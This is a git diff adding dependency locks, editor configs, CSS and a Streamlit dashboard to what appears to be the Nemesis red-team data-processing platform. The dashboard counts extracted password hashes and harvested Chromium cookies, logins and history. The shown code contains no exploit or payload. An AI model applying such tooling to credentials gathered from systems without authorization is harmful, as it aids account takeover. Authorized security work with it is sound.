+ {file = "pluggy-1.0.0-py2.py3-none-any.whl", hash = "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3"},
+ {file = "pluggy-1.0.0.tar.gz", hash = "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159"},
+]
+
+[package.extras]
+dev = ["pre-commit", "tox"]
+testing = ["pytest", "pytest-benchmark"]
+
+[[package]]
+name = "pycodestyle"
+version = "2.9.1"
+description = "Python style guide checker"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"},
+ {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"},
+]
+
+[[package]]
+name = "pydantic"
+version = "1.10.7"
+description = "Data validation and settings management using python type hints"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pydantic-1.10.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e79e999e539872e903767c417c897e729e015872040e56b96e67968c3b918b2d"},
+ {file = "pydantic-1.10.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:01aea3a42c13f2602b7ecbbea484a98169fb568ebd9e247593ea05f01b884b2e"},
+ {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:516f1ed9bc2406a0467dd777afc636c7091d71f214d5e413d64fef45174cfc7a"},
+ {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae150a63564929c675d7f2303008d88426a0add46efd76c3fc797cd71cb1b46f"},
+ {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ecbbc51391248116c0a055899e6c3e7ffbb11fb5e2a4cd6f2d0b93272118a209"},
+ {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f4a2b50e2b03d5776e7f21af73e2070e1b5c0d0df255a827e7c632962f8315af"},
+ {file = "pydantic-1.10.7-cp310-cp310-win_amd64.whl", hash = "sha256:a7cd2251439988b413cb0a985c4ed82b6c6aac382dbaff53ae03c4b23a70e80a"},
+ {file = "pydantic-1.10.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:68792151e174a4aa9e9fc1b4e653e65a354a2fa0fed169f7b3d09902ad2cb6f1"},
+ {file = "pydantic-1.10.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe2507b8ef209da71b6fb5f4e597b50c5a34b78d7e857c4f8f3115effaef5fe"},
+ {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10a86d8c8db68086f1e30a530f7d5f83eb0685e632e411dbbcf2d5c0150e8dcd"},
+ {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d75ae19d2a3dbb146b6f324031c24f8a3f52ff5d6a9f22f0683694b3afcb16fb"},
+ {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:464855a7ff7f2cc2cf537ecc421291b9132aa9c79aef44e917ad711b4a93163b"},
+ {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:193924c563fae6ddcb71d3f06fa153866423ac1b793a47936656e806b64e24ca"},
+ {file = "pydantic-1.10.7-cp311-cp311-win_amd64.whl", hash = "sha256:b4a849d10f211389502059c33332e91327bc154acc1845f375a99eca3afa802d"},
+ {file = "pydantic-1.10.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cc1dde4e50a5fc1336ee0581c1612215bc64ed6d28d2c7c6f25d2fe3e7c3e918"},
+ {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e0cfe895a504c060e5d36b287ee696e2fdad02d89e0d895f83037245218a87fe"},
+ {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:670bb4683ad1e48b0ecb06f0cfe2178dcf74ff27921cdf1606e527d2617a81ee"},
+ {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:950ce33857841f9a337ce07ddf46bc84e1c4946d2a3bba18f8280297157a3fd1"},
+ {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:c15582f9055fbc1bfe50266a19771bbbef33dd28c45e78afbe1996fd70966c2a"},
+ {file = "pydantic-1.10.7-cp37-cp37m-win_amd64.whl", hash = "sha256:82dffb306dd20bd5268fd6379bc4bfe75242a9c2b79fec58e1041fbbdb1f7914"},
+ {file = "pydantic-1.10.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8c7f51861d73e8b9ddcb9916ae7ac39fb52761d9ea0df41128e81e2ba42886cd"},
+ {file = "pydantic-1.10.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6434b49c0b03a51021ade5c4daa7d70c98f7a79e95b551201fff682fc1661245"},
+ {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d34ab766fa056df49013bb6e79921a0265204c071984e75a09cbceacbbdd5d"},
+ {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:701daea9ffe9d26f97b52f1d157e0d4121644f0fcf80b443248434958fd03dc3"},
+ {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf135c46099ff3f919d2150a948ce94b9ce545598ef2c6c7bf55dca98a304b52"},
+ {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0f85904f73161817b80781cc150f8b906d521fa11e3cdabae19a581c3606209"},
+ {file = "pydantic-1.10.7-cp38-cp38-win_amd64.whl", hash = "sha256:9f6f0fd68d73257ad6685419478c5aece46432f4bdd8d32c7345f1986496171e"},
+ {file = "pydantic-1.10.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c230c0d8a322276d6e7b88c3f7ce885f9ed16e0910354510e0bae84d54991143"},
+ {file = "pydantic-1.10.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:976cae77ba6a49d80f461fd8bba183ff7ba79f44aa5cfa82f1346b5626542f8e"},
+ {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d45fc99d64af9aaf7e308054a0067fdcd87ffe974f2442312372dfa66e1001d"},
+ {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d2a5ebb48958754d386195fe9e9c5106f11275867051bf017a8059410e9abf1f"},
+ {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:abfb7d4a7cd5cc4e1d1887c43503a7c5dd608eadf8bc615413fc498d3e4645cd"},
+ {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:80b1fab4deb08a8292d15e43a6edccdffa5377a36a4597bb545b93e79c5ff0a5"},
+ {file = "pydantic-1.10.7-cp39-cp39-win_amd64.whl", hash = "sha256:d71e69699498b020ea198468e2480a2f1e7433e32a3a99760058c6520e2bea7e"},
+ {file = "pydantic-1.10.7-py3-none-any.whl", hash = "sha256:0cd181f1d0b1d00e2b705f1bf1ac7799a2d938cce3376b8007df62b29be3c2c6"},
+ {file = "pydantic-1.10.7.tar.gz", hash = "sha256:cfc83c0678b6ba51b0532bea66860617c4cd4251ecf76e9846fa5a9f3454e97e"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.2.0"
+
+[package.extras]
+dotenv = ["python-dotenv (>=0.10.4)"]
+email = ["email-validator (>=1.0.3)"]
+
+[[package]]
+name = "pyflakes"
+version = "2.5.0"
+description = "passive checker of Python programs"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"},
+ {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"},
+]
+
+[[package]]
+name = "pytest"
+version = "7.2.2"
+description = "pytest: simple powerful testing with Python"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-7.2.2-py3-none-any.whl", hash = "sha256:130328f552dcfac0b1cec75c12e3f005619dc5f874f0a06e8ff7263f0ee6225e"},
+ {file = "pytest-7.2.2.tar.gz", hash = "sha256:c99ab0c73aceb050f68929bc93af19ab6db0558791c6a0715723abe9d0ade9d4"},
+]
+
+[package.dependencies]
+attrs = ">=19.2.0"
+colorama = {version = "*", markers = "sys_platform == \"win32\""}
+exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""}
+iniconfig = "*"
+packaging = "*"
+pluggy = ">=0.12,<2.0"
+tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""}
+
+[package.extras]
+testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"]
+
+[[package]]
+name = "requests"
+version = "2.28.2"
+description = "Python HTTP for Humans."
+category = "main"
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "requests-2.28.2-py3-none-any.whl", hash = "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa"},
+ {file = "requests-2.28.2.tar.gz", hash = "sha256:98b1b2782e3c6c4904938b84c0eb932721069dfdb9134313beff7c83c2df24bf"},
+]
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+charset-normalizer = ">=2,<4"
+idna = ">=2.5,<4"
+urllib3 = ">=1.21.1,<1.27"
+
+[package.extras]
+socks = ["PySocks (>=1.5.6,!=1.5.7)"]
+use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
+
+[[package]]
+name = "rfc3986"
+version = "1.5.0"
+description = "Validating URI References per RFC 3986"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "rfc3986-1.5.0-py2.py3-none-any.whl", hash = "sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97"},
+ {file = "rfc3986-1.5.0.tar.gz", hash = "sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835"},
+]
+
+[package.dependencies]
+idna = {version = "*", optional = true, markers = "extra == \"idna2008\""}
+
+[package.extras]
+idna2008 = ["idna"]
+
+[[package]]
+name = "sniffio"
+version = "1.3.0"
+description = "Sniff out which async library your code is running under"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"},
+ {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"},
+]
+
+[[package]]
+name = "tabulate"
+version = "0.9.0"
+description = "Pretty-print tabular data"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"},
+ {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"},
+]
+
+[package.extras]
+widechars = ["wcwidth"]
+
+[[package]]
+name = "tomli"
+version = "2.0.1"
+description = "A lil' TOML parser"
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"},
+ {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"},
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.5.0"
+description = "Backported and Experimental Type Hints for Python 3.7+"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "typing_extensions-4.5.0-py3-none-any.whl", hash = "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4"},
+ {file = "typing_extensions-4.5.0.tar.gz", hash = "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb"},
+]
+
+[[package]]
+name = "urllib3"
+version = "1.26.15"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*"
+files = [
+ {file = "urllib3-1.26.15-py2.py3-none-any.whl", hash = "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42"},
+ {file = "urllib3-1.26.15.tar.gz", hash = "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305"},
+]
+
+[package.extras]
+brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"]
+secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"]
+socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
+
+[metadata]
+lock-version = "2.0"
+python-versions = "^3.10.10"
+content-hash = "1b69017bd876713f344ff169793760fa9dff0aca3962a18dfa7efdf68718e615"
diff --git a/cmd/connectors/stage1-connector/poetry.toml b/cmd/connectors/stage1-connector/poetry.toml
new file mode 100644
index 0000000..be97f1e
--- /dev/null
+++ b/cmd/connectors/stage1-connector/poetry.toml
@@ -0,0 +1,3 @@
+[virtualenvs]
+in-project = true
+prefer-active-python = true
\ No newline at end of file
diff --git a/cmd/connectors/stage1-connector/pyproject.toml b/cmd/connectors/stage1-connector/pyproject.toml
new file mode 100644
index 0000000..e8fe44a
--- /dev/null
+++ b/cmd/connectors/stage1-connector/pyproject.toml
@@ -0,0 +1,25 @@
+[tool.poetry]
+name = "nemesis-connector"
+version = "0.1.0"
+description = ""
+authors = ["SpecterOps "]
+readme = "README.md"
+packages = [{include = "nemesis_connector"}]
+
+[tool.poetry.dependencies]
+python = "^3.10.10"
+requests = "^2.28.2"
+httpx = "^0.23.3"
+dynaconf = "^3.1.12"
+pydantic = "^1.10.7"
+
+[tool.poetry.dev-dependencies]
+outflank-stage1 = {path = "../../../lib/outflank_stage1"}
+pytest = "^7.1.2"
+black = "^22.6.0"
+flake8 = "^5.0.4"
+mypy = "^0.971"
+
+[build-system]
+build-backend = "poetry.core.masonry.api"
+requires = ["poetry-core"]
diff --git a/cmd/connectors/stage1-connector/pytest.ini b/cmd/connectors/stage1-connector/pytest.ini
new file mode 100644
index 0000000..a318d22
--- /dev/null
+++ b/cmd/connectors/stage1-connector/pytest.ini
@@ -0,0 +1,6 @@
+[pytest]
+minversion = 6.0
+asyncio_mode = auto
+addopts = -ra -q
+testpaths =
+ tests
diff --git a/cmd/connectors/stage1-connector/tests/__init__.py b/cmd/connectors/stage1-connector/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/dashboard/.flake8 b/cmd/dashboard/.flake8
new file mode 100644
index 0000000..f3b8a89
--- /dev/null
+++ b/cmd/dashboard/.flake8
@@ -0,0 +1,9 @@
+[flake8]
+ignore = E231, E241
+max-line-length = 240
+count = true
+max-complexity = 10
+max-cognitive-complexity=20
+exclude =
+ enrichment/lib/ext_tools
+ .venv
\ No newline at end of file
diff --git a/cmd/dashboard/.vscode/extensions.json b/cmd/dashboard/.vscode/extensions.json
new file mode 100644
index 0000000..5751efd
--- /dev/null
+++ b/cmd/dashboard/.vscode/extensions.json
@@ -0,0 +1,16 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations.
+ // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp
+ // List of extensions which should be recommended for users of this workspace.
+ "recommendations": [
+ "ms-python.black-formatter",
+ "ms-python.flake8",
+ "ms-python.isort",
+ "ms-python.python",
+ "ms-python.vscode-pylance",
+ "njpwerner.autodocstring",
+ "zxh404.vscode-proto3",
+ ],
+ // List of extensions recommended by VS Code that should not be recommended for users of this workspace.
+ "unwantedRecommendations": []
+}
\ No newline at end of file
diff --git a/cmd/dashboard/.vscode/launch.json b/cmd/dashboard/.vscode/launch.json
new file mode 100644
index 0000000..c81be65
--- /dev/null
+++ b/cmd/dashboard/.vscode/launch.json
@@ -0,0 +1,29 @@
+{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Service: dashboard",
+ "type": "python",
+ "request": "launch",
+ "module": "streamlit",
+ "args": [
+ "run",
+ "${workspaceFolder}/dashboard/Nemesis.py"
+ ],
+ "console": "integratedTerminal",
+ "cwd": "${workspaceFolder}/dashboard/",
+ "justMyCode": false,
+ "env": {
+ "LOG_LEVEL": "DEBUG",
+ "ENVIRONMENT": "development",
+ "PROMETHEUS_PORT": "18000",
+ // "PYTHONASYNCIODEBUG": "1",
+ "BETTER_EXCEPTIONS": "1",
+ "FORCE_COLOR": "1",
+ },
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/dashboard/.vscode/settings.json b/cmd/dashboard/.vscode/settings.json
new file mode 100644
index 0000000..13e33e0
--- /dev/null
+++ b/cmd/dashboard/.vscode/settings.json
@@ -0,0 +1,64 @@
+{
+ "[javascript]": {
+ "editor.formatOnSave": false
+ },
+ "[html]": {
+ "editor.formatOnSave": false
+ },
+ "[python]": {
+ "editor.formatOnSave": true,
+ "editor.codeActionsOnSave": {
+ "source.organizeImports": true
+ },
+ "editor.defaultFormatter": "ms-python.black-formatter"
+ },
+ "editor.formatOnSave": true,
+ "files.exclude": {
+ "**/.DS_Store": true,
+ "**/.git": true,
+ "**/.hg": true,
+ "**/.mypy_cache": true,
+ "**/.pytest_cache": true,
+ "**/.svn": true,
+ "**/.venv": true,
+ "**/__pycache__": true,
+ "**/Thumbs.db": true
+ },
+ "files.trimTrailingWhitespace": true,
+ "files.watcherExclude": {
+ "**/__pycache__/**": true,
+ "**/.git/objects/**": true,
+ "**/.git/subtree-cache/**": true,
+ "**/.hg/store/**": true,
+ "**/.ipynb_checkpoints/**": true,
+ "**/.mypy_cache/**": true,
+ "**/.pytest_cache/**": true,
+ "**/.venv/**": true,
+ "**/*.egg-info/**": true,
+ "**/build/**": true,
+ "**/dist/**": true,
+ "**/node_modules/*/**": true,
+ },
+ "python.analysis.diagnosticSeverityOverrides": {
+ "reportMissingImports": "none",
+ "reportMissingModuleSource": "none",
+ },
+ "python.analysis.useLibraryCodeForTypes": true, // Pyright
+ "python.formatting.provider": "black",
+ "python.languageServer": "Pylance",
+ "python.linting.enabled": true,
+ "python.linting.flake8Args": [
+ "--max-line-length=240",
+ "--ignore=E203,E722,W503",
+ ],
+ "python.linting.flake8Enabled": true,
+ "python.linting.lintOnSave": true,
+ "python.linting.pylintEnabled": false,
+ "python.testing.pytestArgs": [
+ "tests"
+ ],
+ "python.testing.unittestEnabled": false,
+ "python.testing.pytestEnabled": true,
+ "python.analysis.typeCheckingMode": "basic",
+ "problems.showOnSave": true
+}
\ No newline at end of file
diff --git a/cmd/dashboard/.vscode/tasks.json b/cmd/dashboard/.vscode/tasks.json
new file mode 100644
index 0000000..00b0263
--- /dev/null
+++ b/cmd/dashboard/.vscode/tasks.json
@@ -0,0 +1,12 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=733558
+ // for the documentation about the tasks.json format
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": "Type Checking",
+ "type": "shell",
+ "command": "poetry run pyright"
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/dashboard/README.md b/cmd/dashboard/README.md
new file mode 100644
index 0000000..548bb05
--- /dev/null
+++ b/cmd/dashboard/README.md
@@ -0,0 +1,7 @@
+# Dashbaord
+
+This is the primary Nemesis dashboard, built in Streamlit.
+
+# References
+
+The elastic search code is _heavily_ based on [ChiaChong](https://medium.com/@chiachong.14)'s [medium-search-app](https://github.com/chiachong/medium-search-app) repository (no license).
diff --git a/cmd/dashboard/dashboard/.streamlit/config.toml b/cmd/dashboard/dashboard/.streamlit/config.toml
new file mode 100644
index 0000000..533de4b
--- /dev/null
+++ b/cmd/dashboard/dashboard/.streamlit/config.toml
@@ -0,0 +1,4 @@
+[theme]
+base="dark"
+primaryColor = "#00B36B"
+font = "sans serif"
\ No newline at end of file
diff --git a/cmd/dashboard/dashboard/Nemesis.py b/cmd/dashboard/dashboard/Nemesis.py
new file mode 100644
index 0000000..7047c49
--- /dev/null
+++ b/cmd/dashboard/dashboard/Nemesis.py
@@ -0,0 +1,126 @@
+#!/usr/bin/python3
+# from streamlit_chat import message
+# 3rd Party Libraries
+import requests
+import streamlit as st
+import utils
+
+NEMESIS_API_URL = "http://enrichment-webapi:9910/"
+
+current_user = utils.header()
+
+if st.session_state["authentication_status"]:
+
+ if "reprocess_button" not in st.session_state:
+ st.session_state["reprocess_button"] = False
+
+ if "reprocessing" not in st.session_state:
+ st.session_state["reprocessing"] = False
+
+ if "clear_button" not in st.session_state:
+ st.session_state["clear_button"] = False
+
+ if "clearing" not in st.session_state:
+ st.session_state["clearing"] = False
+
+
+ # st.subheader("Operation Information")
+ # cols = st.columns(4)
+ # with cols[0]:
+ # num_hosts = utils.postgres_count_entries("hosts")
+ # st.metric("Total Hosts", num_hosts)
+ # with cols[1]:
+ # num_agents = utils.postgres_count_entries("agents")
+ # st.metric("Total Agents", num_agents)
+ # st.divider()
+
+ st.subheader("File Information")
+ cols = st.columns(5)
+ with cols[0]:
+ num_plaintext_documents = utils.get_elastic_total_indexed_documents("file_data_plaintext")
+ st.metric("Indexed Documents", num_plaintext_documents)
+ with cols[1]:
+ num_enriched_documents = utils.get_elastic_total_indexed_documents("file_data_enriched")
+ st.metric("Processed Files", num_enriched_documents)
+ with cols[2]:
+ num_np_matches = utils.get_elastic_total_indexed_documents("file_data_enriched", query={"exists": {"field": "noseyparker"}})
+ st.metric("NoseyParker Matches", num_np_matches)
+ with cols[3]:
+ num_hashes = utils.postgres_count_entries("extracted_hashes")
+ st.metric("Extracted Hashes", num_hashes)
+ with cols[4]:
+ num_hashes = utils.postgres_count_entries("extracted_hashes")
+ st.metric("Authentication Data", num_hashes)
+ st.divider()
+
+ st.subheader("Chromium Information")
+ cols = st.columns(4)
+ with cols[0]:
+ num_cookies = utils.postgres_count_entries("chromium_cookies")
+ st.metric("Cookies", num_cookies)
+ with cols[1]:
+ num_logins = utils.postgres_count_entries("chromium_logins")
+ st.metric("Logins", num_logins)
+ with cols[2]:
+ num_history = utils.postgres_count_entries("chromium_history")
+ st.metric("History Entries", num_history)
+ with cols[3]:
+ num_downloads = utils.postgres_count_entries("chromium_downloads")
+ st.metric("Downloads", num_downloads)
+
+ st.divider()
+
+ cols = st.columns(4)
+
+ with cols[0]:
+ if st.session_state["reprocessing"]:
+ st.success("File reprocessing triggered!")
+ st.session_state["reprocessing"] = False
+ else:
+ if st.button("Reprocess All Data", key="reprocess_data1"):
+ st.session_state["reprocess_button"] = not st.session_state["reprocess_button"]
+ if st.session_state["reprocess_button"]:
+ st.warning("Are you really, REALLY, sure you want to reprocess everything?", icon="🚨")
+ if st.button("Yes I know what I'm doing", key="reprocess_data2"):
+ st.session_state["reprocessing"] = True
+ try:
+ requests.post(f"{NEMESIS_API_URL}reprocess", timeout=0.1)
+ st.experimental_rerun()
+ except requests.exceptions.ReadTimeout:
+ st.experimental_rerun()
+ except Exception as e:
+ st.warning(f"Error posting to Nemesis URL {NEMESIS_API_URL}reprocess : {e}", icon="⚠️")
+
+ with cols[1]:
+ if st.session_state["clearing"]:
+ st.success("Data clearing triggered!")
+ st.session_state["clearing"] = False
+ else:
+ if st.button("Clear All Data", key="data_clear1"):
+ st.session_state["clear_button"] = not st.session_state["clear_button"]
+ if st.session_state["clear_button"]:
+ st.warning("Are you really, REALLY, sure you want to clear all data?", icon="🚨")
+ if st.button("Yes I know what I'm doing", key="data_clear2"):
+ st.session_state["clearing"] = True
+ try:
+ requests.post(f"{NEMESIS_API_URL}reset", timeout=0.1)
+ st.experimental_rerun()
+ except requests.exceptions.ReadTimeout:
+ st.experimental_rerun()
+ except Exception as e:
+ st.warning(f"Error posting to Nemesis URL {NEMESIS_API_URL}reset : {e}", icon="⚠️")
+
+ footer="""
+
+"""
+ st.markdown(footer, unsafe_allow_html=True)
\ No newline at end of file
diff --git a/cmd/dashboard/dashboard/__init__.py b/cmd/dashboard/dashboard/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/dashboard/dashboard/css/files_style.css b/cmd/dashboard/dashboard/css/files_style.css
new file mode 100644
index 0000000..702961c
--- /dev/null
+++ b/cmd/dashboard/dashboard/css/files_style.css
@@ -0,0 +1,140 @@
+.column {
+ float: left;
+ width: 33.33%;
+}
+
+/* Clear floats after the columns */
+.row:after {
+ content: "";
+ display: table;
+ clear: both;
+}
+
+.file.name {
+ font-size: 1.5rem;
+ text-align: left;
+ color: rgb(90, 90, 90);
+}
+
+.file.name.desc {
+ font-size: 1rem;
+ text-align: left;
+ color: rgb(90, 90, 90);
+ padding-top: 10px;
+}
+
+.officebackground {
+ background-color: #BAD2DE !important;
+}
+
+.assemblybackground {
+ background-color: #f48b70 !important;
+}
+
+.smallheader {
+ font-size: small !important;
+}
+
+.popup {
+ position: fixed;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ left: 50px;
+ z-index: 1050;
+ overflow: hidden;
+ outline: 0;
+ height: 200px;
+ user-select: none;
+ -moz-user-select: none;
+ -khtml-user-select: none;
+ -webkit-user-select: none;
+ -o-user-select: none;
+}
+
+/*
+
+Tags
+
+Adapted from https://codepen.io/Metty/pen/qBdRBLd
+
+*/
+
+.tags {
+ margin-top: 10;
+ margin-bottom: 10;
+ flex-grow: 1;
+}
+
+.tag {
+ display: inline-block;
+ border-radius: 3px;
+ padding: .2em .5em .3em;
+ border-radius: 2px;
+ background: #454e56;
+ color: #b2becd;
+ font-weight: 600;
+ margin: .25em .1em
+}
+
+h1.tag {
+ margin-left: 0;
+ margin-right: 0
+}
+
+.tag-sm {
+ font-size: .7em;
+ display: inline-block;
+ letter-spacing: .15ch;
+ font-weight: 400
+}
+
+.tag-lg {
+ font-size: 1.2em;
+ border-radius: 4px
+}
+
+.tag-pro {
+ background: #09c372;
+ color: #fff
+}
+
+.tag-contains-dpapi {
+ background: #f0db4f;
+ color: #000
+}
+
+.tag-parsed-credentials {
+ color: #ffda5d;
+ background: #3879ab
+}
+
+.tag-deserialization {
+ color: #fff;
+ background: #ff3e00
+}
+
+.tag-command-execution {
+ color: #fff;
+ background: #ff3e00
+}
+
+.tag-encrypted {
+ background: #41b883;
+ color: #35495e
+}
+
+.tag-yara-matches {
+ background: #498afb;
+ color: #fff
+}
+
+.tag-noseyparker-results {
+ background: #54c5f8;
+ color: #003b6c
+}
+
+.tag-above-size-limit {
+ background: #dc0530;
+ color: #fff
+}
diff --git a/cmd/dashboard/dashboard/img/nemesis_logo.png b/cmd/dashboard/dashboard/img/nemesis_logo.png
new file mode 100644
index 0000000..a0b0361
Binary files /dev/null and b/cmd/dashboard/dashboard/img/nemesis_logo.png differ
diff --git a/cmd/dashboard/dashboard/pages/1_Document Search.py b/cmd/dashboard/dashboard/pages/1_Document Search.py
new file mode 100644
index 0000000..b408da6
--- /dev/null
+++ b/cmd/dashboard/dashboard/pages/1_Document Search.py
@@ -0,0 +1,200 @@
+# Standard Libraries
+import os
+import urllib.parse
+
+# 3rd Party Libraries
+import extra_streamlit_components as stx
+import streamlit as st
+import templates
+import utils
+
+utils.header()
+
+PAGE_SIZE = int(os.environ["PAGE_SIZE"])
+
+if st.session_state["authentication_status"]:
+ with st.expander("About Document Search"):
+ st.markdown(
+ """
+ This page searches the extracted plaintext from every convertible document
+ ingested into Nemesis as well as any downloaded source code.
+
+ Text is extracted with Apache Tika and indexed into Elasticsearch.
+
+ Semantic search is powered by searching pre-computed dense vector embeddings,
+ vectoring the input query and returning document chunks that are the semantically
+ closest to the input.
+ """
+ )
+
+ # default values
+ if "text_search" not in st.session_state:
+ st.session_state.text_search = None
+ if "text_page" not in st.session_state:
+ st.session_state.text_page = 1
+
+ # get parameters in url
+ para = st.experimental_get_query_params()
+ if "text_search" in para:
+ st.experimental_set_query_params()
+ st.session_state.text_search = urllib.parse.unquote(para["text_search"][0])
+ if "text_page" in para:
+ st.experimental_set_query_params()
+ st.session_state.text_page = int(para["text_page"][0])
+
+ chosen_tab = stx.tab_bar(
+ data=[
+ stx.TabBarItemData(
+ id="text_search", title="Text Search", description="Search text extracted from downloaded files"
+ ),
+ stx.TabBarItemData(
+ id="source_code_search", title="Source Code Search", description="Search downloaded source code files"
+ ),
+ stx.TabBarItemData(
+ id="semantic_search", title="Semantic Search", description="Semantic search over extracted text"
+ ),
+ ],
